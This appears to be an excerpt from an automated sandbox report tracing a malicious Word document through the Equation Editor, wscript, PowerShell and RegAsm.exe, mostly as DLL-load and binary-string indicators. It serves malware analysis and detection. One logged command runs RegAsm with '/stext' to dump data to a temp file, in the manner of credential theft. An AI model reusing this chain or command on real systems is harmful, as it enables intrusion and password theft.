              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\hidlssrjzxlidrcppmhelihgbsvywydkws"Jump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64win.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64cpu.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: msi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: cryptsp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dwmapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: version.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: secur32.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winhttp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: webio.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: iphlpapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winnsi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dnsapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: nlaapi.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rasadhlp.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: propsys.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: ntmarta.dllJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: credssp.dllJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msacm32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: shcore.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rstrtmgr.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ncrypt.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: bcrypt.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: nlaapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msacm32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rpcrtremote.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msacm32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: pstorec.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64win.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64cpu.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msacm32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mozglue.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dbghelp.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msvcp140.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: vcruntime140.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ucrtbase.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wsock32.dllJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
              Source: erthings.LNK.0.drLNK file: ..\..\..\..\..\Desktop\erthings.doc
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItemsJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
